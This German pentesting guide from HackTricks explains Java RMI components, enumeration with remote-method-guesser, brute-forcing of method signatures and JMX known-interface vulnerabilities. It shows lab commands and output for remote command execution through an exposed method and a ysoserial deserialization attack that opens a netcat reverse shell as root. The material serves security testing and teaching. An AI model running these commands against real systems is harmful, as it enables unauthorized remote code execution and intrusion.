1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Heute Zugriff erhalten:

Grundlegende Informationen

Java Remote Method Invocation oder Java RMI ist ein objektorientierter RPC-Mechanismus, der es einem Objekt in einer Java Virtual Machine ermöglicht, Methoden auf einem Objekt in einer anderen Java Virtual Machine aufzurufen. Dies ermöglicht es Entwicklern, verteilte Anwendungen unter Verwendung eines objektorientierten Paradigmas zu schreiben. Eine kurze Einführung in Java RMI aus offensiver Sicht finden Sie in diesem Blackhat-Vortrag.

Standardport: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

In der Regel sind nur die Standard-Java RMI-Komponenten (das RMI-Register und das Aktivierungssystem) an gängige Ports gebunden. Die Remote-Objekte, die die tatsächliche RMI-Anwendung implementieren, sind normalerweise an zufällige Ports gebunden, wie im obigen Output gezeigt.

nmap hat manchmal Schwierigkeiten, SSL-geschützte RMI-Dienste zu identifizieren. Wenn Sie auf einem gängigen RMI-Port einen unbekannten SSL-Dienst finden, sollten Sie weitere Untersuchungen durchführen.

RMI-Komponenten

Um es einfach auszudrücken, ermöglicht Java RMI einem Entwickler, ein Java-Objekt im Netzwerk verfügbar zu machen. Dadurch wird ein TCP-Port geöffnet, über den Clients eine Verbindung herstellen und Methoden des entsprechenden Objekts aufrufen können. Obwohl dies einfach klingt, gibt es mehrere Herausforderungen, die Java RMI lösen muss:

  1. Um einen Methodenaufruf über Java RMI zu verteilen, müssen Clients die IP-Adresse, den empfangenden Port, die implementierte Klasse oder das Interface und die ObjID des Zielobjekts kennen (die ObjID ist ein eindeutiger und zufälliger Bezeichner, der erstellt wird, wenn das Objekt im Netzwerk verfügbar gemacht wird. Sie ist erforderlich, da Java RMI es ermöglicht, dass mehrere Objekte auf demselben TCP-Port lauschen).

  2. Remote-Clients können Ressourcen auf dem Server zuweisen, indem sie Methoden auf dem freigegebenen Objekt aufrufen. Die Java Virtual Machine muss verfolgen, welche dieser Ressourcen noch in Verwendung sind und welche davon vom Garbage Collector eingesammelt werden können.

Die erste Herausforderung wird durch das RMI-Register gelöst, das im Grunde ein Namensdienst für Java RMI ist. Das RMI-Register selbst ist auch ein RMI-Dienst, aber das implementierte Interface und die ObjID sind festgelegt und allen RMI-Clients bekannt. Dies ermöglicht es RMI-Clients, das RMI-Register zu nutzen, indem sie lediglich den entsprechenden TCP-Port kennen.

Wenn Entwickler ihre Java-Objekte im Netzwerk verfügbar machen möchten, binden sie diese normalerweise an ein RMI-Register. Das Register speichert alle Informationen, die zum Verbinden mit dem Objekt erforderlich sind (IP-Adresse, empfangender Port, implementierte Klasse oder Interface und den Wert der ObjID) und macht sie unter einem menschenlesbaren Namen (dem gebundenen Namen) verfügbar. Clients, die den RMI-Dienst nutzen möchten, fragen das RMI-Register nach dem entsprechenden gebundenen Namen, und das Register gibt alle erforderlichen Informationen zurück, um eine Verbindung herzustellen. Somit ist die Situation im Grunde genommen die gleiche wie bei einem gewöhnlichen DNS-Dienst. Das folgende Listing zeigt ein kleines Beispiel:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Die zweite der oben genannten Herausforderungen wird durch den Distributed Garbage Collector (DGC) gelöst. Dies ist ein weiterer RMI-Dienst mit einem bekannten ObjID-Wert und ist auf praktisch jedem RMI-Endpunkt verfügbar. Wenn ein RMI-Client beginnt, einen RMI-Dienst zu nutzen, sendet er dem DGC eine Information, dass das entsprechende Remote-Objekt verwendet wird. Der DGC kann dann die Referenzzählung verfolgen und nicht verwendete Objekte bereinigen.

Zusammen mit dem veralteten Activation System sind dies die drei Standardkomponenten von Java RMI:

  1. Das RMI-Register (ObjID = 0)

  2. Das Activation System (ObjID = 1)

  3. Der Distributed Garbage Collector (ObjID = 2)

Die Standardkomponenten von Java RMI sind seit geraumer Zeit als Angriffsvektoren bekannt, und es existieren mehrere Schwachstellen in veralteten Java-Versionen. Aus der Perspektive eines Angreifers sind diese Standardkomponenten interessant, weil sie bekannte Klassen/Interfaces implementiert haben und es leicht möglich ist, mit ihnen zu interagieren. Diese Situation ist bei benutzerdefinierten RMI-Diensten anders. Um eine Methode auf einem Remote-Objekt aufzurufen, muss man im Voraus die entsprechende Methodensignatur kennen. Ohne Kenntnis einer vorhandenen Methodensignatur gibt es keine Möglichkeit, mit einem RMI-Dienst zu kommunizieren.

RMI-Auflistung

remote-method-guesser ist ein Java RMI-Schwachstellenscanner, der in der Lage ist, gängige RMI-Schwachstellen automatisch zu identifizieren. Immer wenn Sie einen RMI-Endpunkt identifizieren, sollten Sie es ausprobieren:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Die Ausgabe der Aufzählungsaktion wird in den Dokumentationsseiten des Projekts genauer erläutert. Abhängig vom Ergebnis sollten Sie versuchen, identifizierte Schwachstellen zu überprüfen.

Die von remote-method-guesser angezeigten ObjID-Werte können verwendet werden, um die Betriebszeit des Dienstes zu bestimmen. Dies kann helfen, andere Schwachstellen zu identifizieren:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

Auch wenn während der Enumeration keine Schwachstellen identifiziert wurden, könnten die verfügbaren RMI-Dienste dennoch gefährliche Funktionen offenlegen. Darüber hinaus sind bei der Kommunikation mit RMI-Standardkomponenten Deserialisierungsfilter aktiv, aber bei der Kommunikation mit benutzerdefinierten RMI-Diensten sind solche Filter normalerweise nicht vorhanden. Das Wissen um gültige Methodensignaturen bei RMI-Diensten ist daher wertvoll.

Leider unterstützt Java RMI das Auflisten von Methoden auf Remote-Objekten nicht. Dennoch ist es möglich, Methodensignaturen mit Tools wie remote-method-guesser oder rmiscout zu bruteforcen:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Identifizierte Methoden können wie folgt aufgerufen werden:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Oder Sie können Deserialisierungsangriffe wie folgt durchführen:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Weitere Informationen finden Sie in diesen Artikeln:

Neben dem Raten sollten Sie auch in Suchmaschinen oder auf GitHub nach der Schnittstelle oder sogar der Implementierung eines gefundenen RMI-Dienstes suchen. Der gebundene Name und der Name der implementierten Klasse oder Schnittstelle können hier hilfreich sein.

Bekannte Schnittstellen

remote-method-guesser markiert Klassen oder Schnittstellen als bekannt, wenn sie in der internen Datenbank bekannter RMI-Dienste des Tools aufgeführt sind. In diesen Fällen können Sie die bekannt-Aktion verwenden, um weitere Informationen zum entsprechenden RMI-Dienst zu erhalten:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Werkzeuge

Referenzen

HackTricks Automatische Befehle

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Heute Zugriff erhalten:

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated